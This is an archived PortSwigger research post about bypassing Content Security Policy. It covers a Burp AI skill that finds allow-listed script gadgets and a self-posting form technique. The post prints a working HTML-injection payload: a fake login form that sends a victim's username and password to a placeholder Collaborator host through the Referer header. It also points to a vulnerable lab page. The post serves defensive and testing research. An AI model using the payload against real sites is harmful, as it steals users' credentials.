Blind trust: stealing credentials through CSP

Blind trust: stealing credentials through CSP - Gareth Heyes, PortSwigger Research.

- Published: 2026-11-11
- Original: <https://portswigger.net/research/blind-trust-stealing-credentials-through-csp>
- Preserved from: https://portswigger.net/research/blind-trust-stealing-credentials-through-csp (stored) on 2026-11-13
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Blind trust: stealing credentials through CSP | PortSwigger Research

Blind trust: stealing credentials through CSP

[image: Gareth Heyes]

Gareth Heyes

Researcher

@garethheyes

-

**Published: **Wednesday, 11 November 2026 at 14:26 UTC

-

**Updated: **Thursday, 12 November 2026 at 15:55 UTC

-



Content Security Policy is supposed to be the safety net that stops an HTML injection from turning into XSS. Usually it works. But sometimes it doesn't, because the policy allows-lists a domain that hosts a JSONP endpoint or an old copy of AngularJS, or because whoever wrote the policy forgot that one directive doesn't inherit from `default-src`.

Spotting those mistakes by hand is tedious. You read the header, work out which directive actually applies, check every allowed host against the gadgets you remember, then build a proof of concept. So we turned that process into a Burp AT skill. Tell Burp AT you want to bypass a CSP and it reads the policy, finds the weaknesses and builds you a PoC that exfiltrates to Burp Collaborator.

What the skill does

The skill runs two checks against the Content-Security-Policy on a response:

-

1. Allow-list gadget lookup. Are any of the allowed script sources known to host a CSP bypass gadget?

-

1. Form-action credential exfiltration. Does the policy let an injected form post back to the page, so credentials can be stolen even when no JavaScript runs at all?

1. Hunting for gadgets in the allow-list

A host allow-list is only as strong as the weakest file on any host in it. If script-src allows a domain that serves a JSONP endpoint with a controllable callback, an attacker can load that endpoint as a script and run arbitrary JavaScript from an allowed origin.

The skill comes with a dataset of more than 350 known gadgets provided by cspbypass.com big thanks to them, each a domain plus a working snippet. To match against it, the script:

-

Works out the effective script sources. It follows the browser's fallback chain: `script-src-elem`, then `script-src`, then `default-src`. If none of those are present, scripts are unrestricted.

-

Matches hosts the way the browser does. A source can match exactly, or as a *.example.com wildcard that covers subdomains. A bare * or a scheme-only source like https: allows any host, and the report says so.

-

Intersects multiple policies. When a response sends more than one enforced CSP header, the browser has to satisfy all of them, so a gadget is only reported if every policy allows its domain.

-

Handles report-only. If the only header is `Content-Security-Policy-Report-Only`, the skill still analyses it but marks the findings as informational, because that header blocks nothing.

-

Flags caveats that change the answer. With `strict-dynamic`, modern browsers ignore the host allow-list, so host gadgets won't fire. A nonce or hash may gate execution. And if `unsafe-inline` appears without a nonce, hash or `strict-dynamic`, you don't need a gadget at all.

Each matching domain comes back with its gadget snippet, along with the effective sources for each policy and any caveats.

2. Stealing credentials with a self-posting form

After releasing this research I discovered Rafał Wójcicki (AFINE) also found this technique.

The second check covers the case that's easy to miss. Even when policies block all JavaScript with `default-src 'none'` there is still a way to steal data.

`form-action` does not fall back to `default-src`. If a policy leaves out form-action, forms can submit anywhere. If it sets `form-action 'self'`, forms can still submit to the page itself, and that's all this attack needs.

When the page has a reflected HTML-injection sink, the skill builds a two-stage form:

```
?targetParam=<form> <p><label>Username:</label><br><input name=username></p> <p> <label>Password:</label><br><input type=password name=password></p> <textarea name=targetParam><meta name=referrer content=unsafe-url><meta http-equiv=refreshcontent="5;url=https://COLLABORATOR"></textarea> <input type=submit value=submit> </form>
```

Here's how it works:

-

1. The form is injected through the vulnerable parameter ($targetParam). It has no action, so it submits a GET request back to the same page, which `form-action 'self'` allows.

-

1. The `<textarea>` is named after the vulnerable parameter, and its content is the second-stage payload. When the victim submits, the username, password and payload all go into the query string.

-

1. The page reflects the payload, and this time it renders as real HTML. `<meta name=referrer content=unsafe-url>` makes the browser send the full URL, credentials included, in the Referer header. `<meta http-equiv=refresh>` then navigates to Burp Collaborator.

-

1. Collaborator receives a request whose Referer contains the credentials.

CSP doesn't apply to any of this. No script runs, the form submits to an allowed origin, and the meta refresh is a navigation, which CSP doesn't restrict.

The report gives a verdict based on every enforced policy. It also tells you where this vector fits. If no script gadget is matched, form-action is the exfiltration vector. If gadgets were found too, it's an additional one.

When the verdict is viable, Burp AT finishes the PoC for you. It identifies the reflected parameter, or asks you if it can't tell from the request. It creates a Collaborator payload and fills in both placeholders. If you run a private Collaborator server, it uses your domain, not the built in oastify.com.

Try it yourself

We've set up a vulnerable page so you can follow along:

https://portswigger-labs.net/csp-form-action-test/?x=123

It returns this policy:

`Content-Security-Policy: default-src 'none'; form-action 'self'; style-src 'nonce-…'`

On the face of it, that's a tight policy. `default-src 'none'` blocks every script, so there's no gadget to find. But `form-action` is set to `'self'`, and the `x` parameter reflects HTML unescaped. That's everything the self-posting form attack needs.

Give Burp AT this prompt:

`I want you to bypass the CSP on this web site https://portswigger-labs.net/csp-form-action-test/?x=123 and give me a poc`

Burp AT will:

-

1. Request the page and run the skill against the response.

-

1. Report that scripts are fully blocked and no gadget applies, and that the form-action verdict is VIABLE, making it the exfiltration vector.

-

1. Create a Collaborator payload and build the PoC with `x` as the injection parameter.

Open the PoC link, enter some test credentials and submit. The page reflects the second stage, and after five seconds it redirects to Collaborator. The delay is there on purpose so you can watch it happen. Then ask Burp AT to poll Collaborator, and the credentials appear in the Referer header of the interaction.

Here's the whole flow from prompt to captured credentials:

Video tags are not supported by your browser.

csp Burp Suite Burp AT

Back to all articles

Archived from https://portswigger.net/research/blind-trust-stealing-credentials-through-csp. Rendered offline from the local Markdown copy.